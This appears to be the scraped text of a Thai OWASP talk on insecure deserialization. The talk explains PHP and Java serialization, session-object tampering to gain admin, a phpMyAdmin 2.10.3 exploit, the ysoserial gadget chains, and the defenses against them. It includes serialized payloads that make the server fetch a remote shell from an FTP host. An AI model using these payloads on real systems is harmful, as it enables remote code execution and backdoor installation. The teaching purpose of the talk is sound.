Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
88
#1 Do NOT Deserialize Untrusted Data
- ใช Data Format ที่ Deserialize แลว.. คอนขางปลอดภัย (จาก magic function ตาง ๆ) *
JSON*** (?)
XML*** (?)
Protobuf
ถาตองการใชอยางเลี่ยงไมไดจริง ๆ ...
- Deserialize เฉพาะคา serialized object ที่ sign มาถูกตอง (ใช HMAC)
- Deserialize เฉพาะบาง object ที่เรา whitelist ไว ดวยวิธี look-ahead
- ทํา Input Validation กับ คา property ของ Object ที่รับเขามา วาถูกตองเหมาะสม
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
89
#2 Logging and Monitoring
- เก็บ log การกระทําสําคัญในระบบ
- เขาระบบ, ออกระบบ ของ admin
- โอนเงิน, จายเงิน, เปลี่ยนรหัสผาน ฯลฯ
- เปลี่ยน log ทุก 60 - 90 วัน
- ตั้งการ alert เมื่อเกิดเหตุการณไมปกติใน log
- เกิด error ในการทํา deserialization เยอะ ๆ
- มี process ประหลาดโผลมา (EDR ?)
- ...
บจก.สยามถนัดแฮก
Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28)
Confidentiality class: Public
สําหรับ Pen-Tester หรือ Security Tester
90
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsh
eets/Deserialization_Cheat_Sheet.md
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
https://github.com/frohoff/ysoserial
https://github.com/pwntester/ysoserial.net
Any Question ?
Contact us:
pentest@sth.sh
OWASP Thailand Chapter:
https://www.facebook.com/groups/owaspthailand/
บจก.สยามถนัดแฮก

More Related Content

DOCX
Teori proses pengolahan informasi
PDF
カード収集ゲームにおけるPlayFabの使い方
PDF
中3女子が狂える本当に気持ちのいい constexpr
PPTX
LINEでビデオ通話してくれる妹を作ってみた
PDF
ゲーム開発者のための C++11/C++14
PDF
C++でCプリプロセッサを作ったり速くしたりしたお話
PDF
JavaからScala、そしてClojureへ: 実務で活きる関数型プログラミング
PDF
うちのRedmineの使い方
Teori proses pengolahan informasi
カード収集ゲームにおけるPlayFabの使い方
中3女子が狂える本当に気持ちのいい constexpr
LINEでビデオ通話してくれる妹を作ってみた
ゲーム開発者のための C++11/C++14
C++でCプリプロセッサを作ったり速くしたりしたお話
JavaからScala、そしてClojureへ: 実務で活きる関数型プログラミング
うちのRedmineの使い方

What's hot (13)

PPTX
Contoh Presentasi Pembelajaran adobe flash
PPTX
C言語ポインタ講座 (Lecture of Pointer in C)
PDF
emscriptenでC/C++プログラムをwebブラウザから使うまでの難所攻略
PPTX
PDF
Boost Fusion Library
PDF
Pythonと型チェッカー
PDF
中3女子でもわかる constexpr
PDF
実用Brainf*ckプログラミング入門編
PPTX
Design thinking (photography)
PPTX
Clojureの世界と実際のWeb開発
PDF
Intel TSX HLE を触ってみた x86opti
PDF
Everyday Life with clojure.spec
PDF
Optimistic Rollupとは何か
Contoh Presentasi Pembelajaran adobe flash
C言語ポインタ講座 (Lecture of Pointer in C)
emscriptenでC/C++プログラムをwebブラウザから使うまでの難所攻略
Boost Fusion Library
Pythonと型チェッカー
中3女子でもわかる constexpr
実用Brainf*ckプログラミング入門編
Design thinking (photography)
Clojureの世界と実際のWeb開発
Intel TSX HLE を触ってみた x86opti
Everyday Life with clojure.spec
Optimistic Rollupとは何か

More from Pichaya Morimoto (15)

PDF
ยกระดับศักยภาพของทีม IT Security องค์กรด้วย CTF & Cybersecurity Online Platfo...
PDF
Securing and Hacking LINE OA Integration
PDF
Docker Plugin For DevSecOps
PDF
Mysterious Crypto in Android Biometrics
PDF
Burp Extender API for Penetration Testing
PDF
Bug Bounty แบบแมว ๆ
PDF
Pentest 101 @ Mahanakorn Network Research Laboratory
PDF
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
PDF
Exploiting Blind Vulnerabilities
PDF
From Web Vulnerability to Exploit in 15 minutes
PDF
Exploiting WebApp Race Condition Vulnerability 101
PDF
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
PDF
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
PDF
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
PDF
Art of Web Backdoor - Pichaya Morimoto
ยกระดับศักยภาพของทีม IT Security องค์กรด้วย CTF & Cybersecurity Online Platfo...
Securing and Hacking LINE OA Integration
Docker Plugin For DevSecOps
Mysterious Crypto in Android Biometrics
Burp Extender API for Penetration Testing
Bug Bounty แบบแมว ๆ
Pentest 101 @ Mahanakorn Network Research Laboratory
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Exploiting Blind Vulnerabilities
From Web Vulnerability to Exploit in 15 minutes
Exploiting WebApp Race Condition Vulnerability 101
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
Art of Web Backdoor - Pichaya Morimoto

Web Hacking with Object Deserialization

  • 1. Web Hacking with Object Deserialization Made for Responsible: Pichaya Morimoto Version (Date): 1.0 (2020-05-28) Confidentiality class: Public บจก.สยามถนัดแฮก 1 OWASP Thailand Chapter
  • 2. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public $ whoami 2 Mr. Pichaya (LongCat) Morimoto Founder | Lead Penetration Tester Siam Thanat Hack Company Limited 2 Past Events: ★ OWASP Thailand Meeting 2/2017 ★ OWASP Thailand Meeting 7/2016 ★ OWASP Thailand Meeting 5/2015 ★ OWASP Thailand Meeting 3/2014
  • 3. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 3 - ... - Ragnarok Mobile in Security, Red Pill 2019 - Mysterious Crypto in Android Biometrics, 2600 Thailand Meetup 2019/10 - Docker Security Plugin in DevSecOps, OWASP Day 2020: DevSecOps in Actions ¯_(ツ)_/¯
  • 4. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 4 LongCat @ Code Mania 10 Bangkok Uni. (2015)
  • 5. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public Agenda “Empower your Application Security Knowledge.” Key Concepts for: - Data Serialization - OWASP Top 10 - A8 - Security Problems - Java Object Deserialization Exploitation - PHP Object Deserialization Exploitation - .NET Object Deserialization Exploitation - Key Takeaways 5
  • 6. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 6 Serialization และ Deserialization คือ?
  • 7. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 7 การเก็บขอมูลในไฟล หรือในฐานขอมูล ☑ $number = 1337; ☑ $text = 'sth'; 1337 sth 1337 sth 1337 sth สง สง เก็บ เก็บ
  • 8. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 8 ★ $fruits = array('apple', 'banana', 'orange'); ★ class FooController { public $foo='bar'; function doX() { ... } } $a = new FooController; ? การเก็บขอมูลในไฟล หรือในฐานขอมูล object ที่มีคา property ติดมาดวย จะ สงผาน API และจัดเก็บยังไง ?? สงยังไงดี? เก็บยังไงดี? สงยังไงดี?
  • 9. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 9 การทํา Serialization https://en.wikipedia.org/wiki/Serialization สรุปงาย ๆ คือเทคนิคการแปลงคา data structure หรือตัวแปรตาง ๆ (string, int, array, linked list, hash map, …) และ object ที่สรางมาจาก class ใหอยูในรูป แบบที่สามารถ จัดเก็บ และ สงผาน network protocol ตาง ๆ เชน HTTP ได
  • 10. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 10 ★ $fruits = array('apple', 'banana', 'orange'); ★ class FooController { public $foo='bar'; function doX() { ... } } $a = new FooController; การเก็บขอมูลในไฟล หรือในฐานขอมูล Serialization Deserialization a:3:{i:0;s:5:"ap ple";i:1;s:6:"ba nana";i:2;s:6:" orange";} O:13:"FooCon troller":1:{s:3:" foo";s:3:"bar";} $a $fruits * ไมรวม method Byte Streams Byte Streams
  • 11. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 11 Class → Object - Properties - Methods Object Serialized Data - Database - File - Network Packet Object การใช Object Serialization ในระบบ O:13:"FooCont roller":1:{s:3:"f oo";s:3:"bar";} Serialization Deserialization class FooController { public $foo; } $obj = new FooController; $obj->foo = 'bar'; $obj = unserialize($serData); echo $obj->foo; // bar serialize($obj) unserialize($obj)
  • 12. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 12 Serialization: serialize() Deserialization: unserialize() PHP Serialization https://www.php.net/manual/en/function.serialize.php https://www.php.net/manual/en/function.unserialize.php
  • 13. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 13 Java Serialization Serialize Deserialize https://docs.oracle.com/javase/7/docs/api/java/io/ ObjectInputStream.html#readObject() https://github.com/NickstaDB/SerializationDumper Magic Byte (File Header): ACED (hex)
  • 14. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 14 Serialization กับ Data Format แบบตาง ๆ PHP Serialization (Native) Java Serialization (Native) .NET Serializations Python Pickle Ruby Marshal ... XStream Protobuf Apache Thrift YAML JSON XML, XMLDecoder, XStream ...
  • 15. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 15 OWASP Top Ten: Web App Security Risks A8 - Insecure Deserialization https://owasp.org/www-pdf-archive/OWASP_Top_10-201 7_%28en%29.pdf.pdf
  • 16. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 16 OWASP Top Ten: Web App Security Risks A8 - Insecure Deserialization Web Features: - Export Functions - User Session - Remember Me - Templates Serialized Data - Network Packet - Database - File 1. Serialization 2. Deserialization POST / HTTP/1.1 Host: victim.sth.sh import_data= [... Serialized Data ...] deserialize( Serialized Data) Web API Web API ถาผูใชงานระบบสามารถควบคุม คา Serialized Data ได? App Code: obj = deserialize(USER_INPUT)
  • 17. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 17 ปญหาของการทํา Deserialization ที่อาจไมปลอดภัย 1. ถาแฮกเกอรสามารถคุมคา serialized data ได แฮกเกอรอาจเปลี่ยนคา object นั้นเพื่อทําในสิ่งที่ไมควรทําได เชน - object ของ class User ที่มีคา username เปน longcat อาจโดนเปลี่ยนเปน admin - คาเงินใน object 100 อาจถูกเปลี่ยนเปน 1337 ผลคือ เกิดชองโหวอะไรก็ไดเหมือนการรับคา HTTP parameter เขามาแลวประมวลผลไมปลอดภัย (SQL หรือ Command Injection, Broken AuthZ) 2. ในบางกรณี อาจถูกใส serialized data ที่เมื่อ deserialize แลว เกิดการเรียก ฟงกชัน ที่ไมควรถูกเรียกได เชน การรันโคด
  • 18. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 18 ปญหาของการทํา Deserialization ที่อาจไมปลอดภัย 1. ถาแฮกเกอรสามารถคุมคา serialized data ได แฮกเกอรอาจเปลี่ยนคา object นั้นเพื่อทําในสิ่งที่ไมควรทําได O:4:"User":3:{s:4:"nam e";s:7:"pichaya";s:4:"ro le";s:4:"user";s:3:"age"; i:28;} O:4:"User":3:{s:4:"nam e";s:3:"sth";s:4:"role";s: 5:"admin";s:3:"age";i:9 99;} Tzo0OiJVc2VyIjozOntz OjQ6Im5hbWUiO3M6N zoicGljaGF5YSI7czo0 OiJyb2xlIjtzOjQ6InVzZ XIiO3M6MzoiYWdlIjtpO jI4O30= Tzo0OiJVc2VyIjozOntz OjQ6Im5hbWUiO3M6 Mzoic3RoIjtzOjQ6InJvb GUiO3M6NToiYWRta W4iO3M6MzoiYWdlIjtp Ojk5OTt9
  • 19. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 19 ปญหาของการทํา Deserialization ที่อาจไมปลอดภัย 1. ถาแฮกเกอรสามารถคุมคา serialized data ได แฮกเกอรอาจเปลี่ยนคา object นั้นเพื่อทําในสิ่งที่ไมควรทําได HP = 1234 MP = 0 Gold = 129340 “binary serialization is not easily modifiable for the common user”
  • 20. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 20 ตัวอยางการใชงาน Deserialization บนเว็บ (1) Session Data as PHP Serialized Object ถามี field ใน session data เปน user role หรือ id เราสามารถแก user ธรรมดาเปน admin ไดไหม?
  • 21. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 21 ตัวอยางการใชงาน Deserialization บนเว็บ (1) Session Data as PHP Serialized Object Singing Signature = MD5(session + secret key) มันคือ MAC (Message Authentication Code)
  • 22. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 22 การทํา Signing Signature ปองกันการแกไขคา Web Server Web Browser (User) Set-Cookie: session= O:4:"User":3:{s:4:"name";s:7:"pichay a";s:4:"role";s:4:"user";s:3:"age";i:28;} Web Server Web Browser (User) Cookie: session= O:4:"User":3:{s:4:"name";s:3:" sth";s:4:"role";s:5:"admin";s:3: "age";i:999;} 1. Server สงคา Serialized Data ใหคนใชเว็บหลังล็อคอิน user=pichaya&password=P@ssw0rd 2. แฮกเกอรจึงแกไขคา Serialized Data ตัวเองใหเปนคนอื่นได
  • 23. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 23 การทํา Signing Signature ปองกันการแกไขคา Web Server Web Browser (User) Set-Cookie: session= O:4:"User":3:{s:4:"name";s:7:"pichaya";s:4: "role";s:4:"user";s:3:"age";i:28;}:deadbeef Web Server Web Browser (User) Cookie: session= O:4:"User":3:{s:4:"name";s:3:" sth";s:4:"role";s:5:"admin";s:3: "age";i:999;}:deadbeef 1. Server สงคา Serialized Data ใหคนใชเว็บหลังล็อคอิน พรอมคา signing signature ที่สรางจาก md5(msg + key) user=pichaya&password=P@ssw0rd secret_key=longcat signature=md5(O4:...i :28;}+secret_key) สมมุติได deadbeef 2. แฮกเกอรจะแกไขคา Serialized Data ตัวเองไดแตวา จะไมสามารถแกไขคา signing signature เปนคาที่ถูกได เพราะคานี้สรางจาก secret key ที่มีแต server ที่รู Rejected * ตัวอยางแบบเขาใจงาย เฉย ๆ ของจริงควร ใช HMAC กับ secret key ที่ปลอดภัย
  • 24. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 24 ตัวอยางการใชงาน Deserialization บนเว็บ (1) system/libraries/Session.php1 2 3
  • 25. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 25 ตัวอยางการใชงาน Deserialization บนเว็บ (1) 5 system/libraries/Session.php 4 6 encryption_key
  • 26. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 26 ตัวอยางการใชงาน Deserialization บนเว็บ (1)
  • 27. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 27 ทํา Signing Signature แลวปลอดภัยแลว?
  • 28. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 28 ทํา Signing Signature แลวปลอดภัยแลว? (1) ★ แอปเดียวกันใชหลายที่แลวไมเปลี่ยน secret key ★ Offline Cracking ออกไดถา secret key ไมปลอดภัย ★ ผูไมประสงคดีสามารถเขาถึงโคดได ★ ชองโหวอื่น ๆ ที่สามารถ bypass การตรวจสอบ หรือทําให secret key หลุดออกมาได เพื่อที่แฮกเกอรจะไดสราง signing signature เองได Web Server Web Browser (User) Cookie: session= O:4:"User":3:{s:4:"name";s:3:" sth";s:4:"role";s:5:"admin";s:3: "age";i:999;}:deadbeef Rejected
  • 29. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 29 ทํา Signing Signature แลวปลอดภัยแลว? (2) Insecure Error Handling
  • 30. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 30 ทํา Signing Signature แลวปลอดภัยแลว? (3) https://<web>/.env ไฟล .env หลุด
  • 31. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 31 ทํา Signing Signature แลวปลอดภัยแลว? (4) ชองโหวอื่น ๆ ของ Web Framework
  • 32. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 32 ทํา Signing Signature แลวปลอดภัยแลว? (6) Web Server Web Browser (User) Cookie: session= O:4:"User":3:{s:4:"name";s:3:" sth";s:4:"role";s:5:"admin";s:3: "age";i:999;}:abcdef1234 ถาแฮกเกอรได secret key ก็สราง signing signature เองไดทันที !
  • 33. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 33 ปญหาของการทํา Deserialization ที่อาจไมปลอดภัย(ตอ) 2. ในบางกรณี อาจถูกใส serialized data ที่เมื่อ deserialize แลว เกิดการเรียก ฟงกชัน ที่ไมควรถูกเรียกได เชน การรันโคด
  • 34. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 34 PHP Serialization (Native) serialize() การทํา serialization คาไปเก็บ unserialize() สรางคาตัวแปรหรือ object กลับจากคา serialized data i:666;666 s:6:"foobar";“foobar” i:666;666 s:6:"foobar";“foobar”
  • 35. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 35 PHP Serialization (Native) - Data Types String - s:<size>:<value>; - s:3:"STH"; Integer - i:<value>; - i:1337; Double - d:<value>; - d:12.345; Null - N; Boolean - b:<value>; - b:1; // True - b:0; // False Array - a:<size>:{<key>;<value>;} - a:2:{s:4:"name";s:4:"John"; s:3:"age";i:15;} // array("name"=>"John", "age"=>15); Object O:13:"FooController":1:{s:3: "foo";s:3:"bar";}
  • 36. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 36 PHP Serialization (Native) - PHP Magic Methods __construct() __destruct() __call() __callStatic() __get() __set() __isset() __unset() __sleep() __wakeup() __toString() __invoke() __set_state() __clone() __debugInfo() - ชื่อฟงกชันขึ้นตนดวย "__" - เปนฟงกชันที่จะถูกเรียกอัตโนมัติไดหลังจากการทํา deserialization (คือ unserailize() ใน PHP)
  • 37. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 37 PHP Serialization (Native) - PHP Magic Methods __destruct() - ถูกเรียกเมื่อ object กําลังจะหายหลังจบการทํางาน __wakeup() - ถูกเรียกหลังจากโดนโยนเขา unserialize()
  • 38. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 38 สรุปการแฮกฟงกชัน unserialize() ใน PHP Serialized Data Magic Methodsunserialize() มีการรับคา serialized data เขามาจาก user input ($_GET, $_POST, $_COOKIE, …) และถูกนําไปโยนใสฟงกชัน unserialized() แฮกเกอรอาจจะไป เลือก object ของ class ที่หลังจากโดน deserialize ไปเรียก Magic Method ที่ทําอะไรบางอยาง อยางอัตโนมัติ RCE
  • 39. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public หา Class ที่มี PHP Magic Method ที่อาจทําใหเราทําอะไร คูล ๆ ได 39 __destruct()
  • 40. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public เขียน Exploit โดยสราง Serialized Object ที่ตองการเรียก __destruct 40 สราง Class พรอม property serialize แลวสราง signing signature จาก secret key URL Encoding Signing Signature
  • 41. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public Pwned ! 41
  • 42. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public Pwned ! 42 Magic Methodsunserialize ($ci_session) RCE
  • 43. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public AppServ เวอรชันในตํานาน 2.5.10 43
  • 44. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 44 File: /scripts/setup.php Line: 61 ชองโหว PMA 2.10.3
  • 45. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 45 __wakeup /人◕ ‿‿ ◕人\ File: /libraries/Config.class.php Line: 303 File: /libraries/Config.class.php Line: 373,376 eval( file_get_contents($source) )
  • 46. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 46 O:10:"PMA_Config":1:{s:6:"source";s:25:"ftp://1.3.3.7/payload.txt";} วิธีเขียน Exploit นาจา
  • 47. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 47 เตรียม Backdoor ใส FTP Server O:10:"PMA_Config":1:{s:6:"source";s:32:"ftp://10.13.37.10:2121/shell.php";}
  • 48. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public Pwn !! 48
  • 49. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public ตัวอยาง การแฮกเว็บที่มีชองโหว Insecure Deserialization (PHP) 49 demo1_pma.flv
  • 50. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 50 Java Serialization (Native) Serialize Deserialize https://docs.oracle.com/javase/7/docs/api/java/io/ ObjectInputStream.html#readObject() https://github.com/NickstaDB/SerializationDumper Magic Byte (File Header): ACED (hex) rO0ABXNyAARVc2VynpG/yC7LDZ gCAANJAAJpZEkADXBydmlsZWdl TGV2ZWxMAARuYW1ldAASTGph dmEvbGFuZy9TdHJpbmc7eHAAA AABAAAAAHQAB3BpY2hheWE=
  • 51. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 51 Java Serialization (Native) Web Server Web Browser (User) คา Java Serialized Object ที่แฮกเกอรแกไขมา 1. แกสิทธิ์ แกจํานวนเงิน แก ฯลฯ 2. ทําการสลับ object อันตราย ที่เรียก magic method ตาง ๆ
  • 52. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public ตัวอยาง การแฮกเว็บที่มีชองโหว Insecure Deserialization (Java) 52 demo2_sdh.flv
  • 53. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public ตัวอยาง การแฮกเว็บที่มีชองโหว Insecure Deserialization (Java) 53 File: /sdh-bank-campaign/server/app/src/main/java/sh/ sth/SDHBank/controller/CampaignController.java ois = <User Input> ois.readObject();
  • 54. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 54 2. ในบางกรณี อาจถูกใส serialized data ที่เมื่อ deserialize แลว เกิดการเรียก ฟงกชัน ที่ไมควรถูกเรียกได เชน การรันโคด ตัวอยาง การแฮกเว็บที่มีชองโหว Insecure Deserialization (Java)
  • 55. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 55 YSoSerial https://github.com/frohoff/ysoserial
  • 56. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 56 Java Deser. Gadget: CommonsCollections5 https://commons.apache.org/prope r/commons-collections/security-rep orts.html
  • 57. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 57 Java Deser. Gadget: CommonsCollections5 Serialized Data
  • 58. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 58 Java Deser. Gadget: CommonsCollections5 https://github.com/frohoff/ysoserial/b lob/master/src/main/java/ysoserial/p ayloads/CommonsCollections5.java
  • 59. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 59 Java Deser. Gadget: CommonsCollections5 BadAttributeValueExpException.readObject() เอาคาที่เก็บมา toString() ถูก deserialize จะ เรียก readObject()
  • 60. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 60 Java Deser. Gadget: CommonsCollections5 TiedMapEntry.toString()
  • 61. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 61 Java Deser. Gadget: CommonsCollections5 LazyMap.get()
  • 62. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 62 Java Deser. Gadget: CommonsCollections5 ChainedTransformer.transform()
  • 63. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 63 InvokerTransformer.transform() Java Deser. Gadget: CommonsCollections5
  • 64. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 64 Java Deser. Gadget: CommonsCollections5
  • 65. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 65 Java Deser. Gadget: CommonsCollections5 https://commons.apache.org/prope r/commons-collections/security-rep orts.html Application Security Hardening Tip: อยาใช Java Library รุนเกา ใหอัปเดตเปนรุน ลาสุด ใหมที่สุดที่ทําได นอกจากชองโหวใน โคดแอป ก็อาจมีชองโหวใน Library เองดวย
  • 66. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 66 Java Deser. Gadget: Jdk7u21 https://gist.github.com/frohoff/24af7 913611f8406eaf3
  • 67. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 67 Java Deser. Gadget: Jdk7u21 https://gist.github.com/frohoff/24af7 913611f8406eaf3 Application Security Hardening Tip: อยาใช JDK รุนเกา ใหอัปเดตเปนรุนลาสุด ใหมที่สุดที่ทําได นอกจากชองโหวในโคดแอ ป ก็อาจมีชองโหวใน JDK เองดวย
  • 68. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 68 วิธีแกไขชองโหว Insecure Deserialization (Java) อยาทําการ Deserialize ในการเขียน โปรแกรม โดยเฉพาะคาที่รับมาจาก User Input เชน HTTP Parameter https://www.pinterest.com/pin/680958406133567782/
  • 69. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 69 วิธีแกไขชองโหว Insecure Deserialization (Java) ถายังตองการใช กําหนดให java.io.ObjectInputStream รูวามี Object อะไรบาง ที่จะยอมใหเกิดการ Deserialize ไดบาง เรียกวาการทํา whitelisting ตัวอยางงาย ๆ เชนการ overwrite คราส ObjectInputStream ใหเช็ค Object กอน https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_ Cheat_Sheet.md#harden-your-own-javaioobjectinputstream
  • 70. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 70 วิธีแกไขชองโหว Insecure Deserialization (Java) 1 3 2 4
  • 71. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 71 วิธีแกไขชองโหว Insecure Deserialization (Java) 5 6
  • 72. บจก.สยามถนัดแฮก Responsible / Version: Pichaya Morimoto / 1.0 (2020-05-28) Confidentiality class: Public 72 วิธีแกไขชองโหว Insecure Deserialization (Java) https://github.com/ikkisoft/SerialKiller look-ahead Java deserialization library
